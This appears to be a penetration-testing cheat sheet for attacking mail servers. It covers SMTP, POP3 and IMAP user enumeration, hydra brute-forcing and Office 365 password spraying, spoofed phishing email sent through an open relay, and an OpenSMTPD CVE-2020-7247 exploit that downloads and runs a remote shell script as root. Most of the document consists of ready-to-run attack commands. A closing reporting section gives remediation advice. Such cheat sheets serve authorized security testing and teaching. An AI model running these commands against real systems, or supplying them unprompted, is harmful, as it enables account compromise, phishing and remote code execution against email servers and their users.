π‘οΈ Methodology Checklist
- Banner grab: SMTP (25), IMAP (143), POP3 (110)
- User enumeration via SMTP VRFY/RCPT TO
- Brute-force:
hydra -L users.txt -P pass.txt smtp://[TARGET] - Test for open relay: send email through target SMTP
- POP3/IMAP: authenticate and read emails for credentials/intel
- Check for Roundcube, Zimbra, OWA web interface
- Test web mail for credential brute-force or default creds
- Review mail content for lateral movement intelligence
π― Operational Context
Use when: SMTP/IMAP/POP3 exposed β enumerate valid users via VRFY/EXPN/RCPT TO, brute force credentials, or exploit misconfigured open relay.
Think Dumber First: VRFY root and VRFY admin on SMTP first β if the server confirms or denies specific users, you have user enumeration. Then check for open relay: send email to external address without auth.
Skip when: Email is behind cloud relay (SendGrid, SES) β most attacks only work against direct SMTP.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
host -t MX [DOMAIN] | Find mail exchange servers |
dig mx [DOMAIN] | grep "MX" | grep -v ";" | MX lookup with dig |
sudo nmap -Pn -sV -sC -p25,110,143,465,587,993,995 [TARGET_IP] | Scan all email ports |
telnet [TARGET_IP] 25 β VRFY [USER] | Test if user exists via SMTP VRFY |
telnet [TARGET_IP] 25 β MAIL FROM:x@x.com β RCPT TO:[USER] | Test if user exists via RCPT TO |
telnet [TARGET_IP] 110 β USER [USER] | Test if user exists via POP3 |
smtp-user-enum -M RCPT -U [USER_LIST] -D [DOMAIN] -t [TARGET_IP] | Automated SMTP user enumeration |
python3 o365spray.py --validate --domain [DOMAIN] | Check if domain uses Office 365 |
python3 o365spray.py --enum -U users.txt --domain [DOMAIN] | Enumerate valid O365 usernames |
hydra -L users.txt -p '[PASS]' -f [TARGET_IP] pop3 | POP3 password spray |
python3 o365spray.py --spray -U users.txt -p '[PASS]' --count 1 --lockout 1 --domain [DOMAIN] | O365 password spray (lockout-aware) |
nmap -p25 -Pn --script smtp-open-relay [TARGET_IP] | Check for open relay misconfiguration |
swaks --from [FAKE_ADDR] --to [TARGET_ADDR] --header 'Subject: Test' --body 'Click http://phishing.com' --server [TARGET_IP] | Send spoofed email via open relay |
python3 opensmtpd_exploit.py [TARGET_IP] 25 "[COMMAND]" | CVE-2020-7247 OpenSMTPD RCE |
π¬ Deep Dive & Workflow
Email Port Reference
| Port | Protocol | Encryption |
|---|---|---|
| 25 | SMTP | None (server-to-server, rarely blocked internally) |
| 110 | POP3 | None |
| 143 | IMAP4 | None |
| 465 | SMTPS | SSL/TLS |
| 587 | SMTP | STARTTLS |
| 993 | IMAPS | SSL/TLS |
| 995 | POP3S | SSL/TLS |
User Enumeration Methods
SMTP and POP3 expose commands that reveal whether accounts exist:
| Method | Protocol | Command | Exists | Doesnβt Exist |
|---|---|---|---|---|
| VRFY | SMTP | VRFY root | 252 2.0.0 root | 550 5.1.1 User unknown |
| EXPN | SMTP | EXPN support-team | Lists members | 550 |
| RCPT TO | SMTP | RCPT TO:john | 250 2.1.5 Recipient ok | 550 5.1.1 User unknown |
| USER | POP3 | USER julio | +OK | -ERR |
RCPT TO is most reliable β requires completing MAIL FROM: first. Automate with:
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t [TARGET_IP]Cloud Email (Office 365)
O365 has custom auth endpoints; standard tools fail. Use o365spray:
# 1. Confirm domain uses O365
python3 o365spray.py --validate --domain msplaintext.xyz
# 2. Enumerate valid users (doesn't trigger lockout by itself)
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
# 3. Spray (--count 1 = 1 attempt per user, --lockout 1 = 1 min between rounds)
python3 o365spray.py --spray -U valid_users.txt -p 'Spring2024!' --count 1 --lockout 1 --domain msplaintext.xyzOpen Relay β Email Spoofing Vector
An open relay accepts mail from any sender to any recipient without authentication. Useful for phishing campaigns with the targetβs own domain as sender:
# Detect
nmap -p25 --script smtp-open-relay [TARGET_IP]
# Exploit β send phishing email appearing from legitimate internal address
swaks --from notifications@[DOMAIN] \
--to employees@[DOMAIN] \
--header 'Subject: Urgent Action Required' \
--body 'Please reset your password: http://phishing.com' \
--server [TARGET_IP]CVE-2020-7247 β OpenSMTPD RCE (Pre-6.6.2)
Command injection via sender email address. The parser fails to sanitize ; in the MAIL FROM field, allowing the string after ; to execute as a shell command. Runs as root since SMTP uses privileged port 25.
Max payload length: 64 characters. Requires chaining (e.g., download and execute a script).
python3 opensmtpd_exploit.py [TARGET_IP] 25 "wget http://[LHOST]/shell.sh -O /tmp/s && bash /tmp/s"π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| VRFY returns β252 Cannot TELLβ | VRFY disabled | Try RCPT TO enumeration: MAIL FROM:<a@b.com> then RCPT TO:<user@target.com> β 250 = valid, 550 = invalid |
| smtp-user-enum no results | Auth required before commands | Some SMTP requires EHLO first: add -H flag; or use hydra SMTP auth brute instead |
| Open relay not accepting external mail | Relay restricted by domain | Test with: swaks --to external@gmail.com --from internal@target.com --server [SMTP_IP] |
| Hydra SMTP brute too slow | SMTP rate limiting | Reduce threads: hydra -t 5; use Medusa with lower rate |
| IMAP brute force returns all failures | Wrong port or TLS required | Try port 993 (IMAPS): hydra -L users.txt -P pass.txt imaps://[TARGET] |
π Reporting Trigger
Finding Title: SMTP User Enumeration and Open Relay Misconfiguration Impact: SMTP VRFY/RCPT enumeration provides valid email address list for targeted phishing and credential spraying. Open relay enables sending spoofed email from target domain, facilitating social engineering attacks with high credibility. Root Cause: SMTP server configured with VRFY enabled and relay restrictions not enforced for all source networks. Recommendation: Disable SMTP VRFY and EXPN commands. Restrict relay to authorized source IPs and authenticated sessions only. Implement SPF, DKIM, and DMARC. Enable rate limiting and fail2ban for SMTP authentication.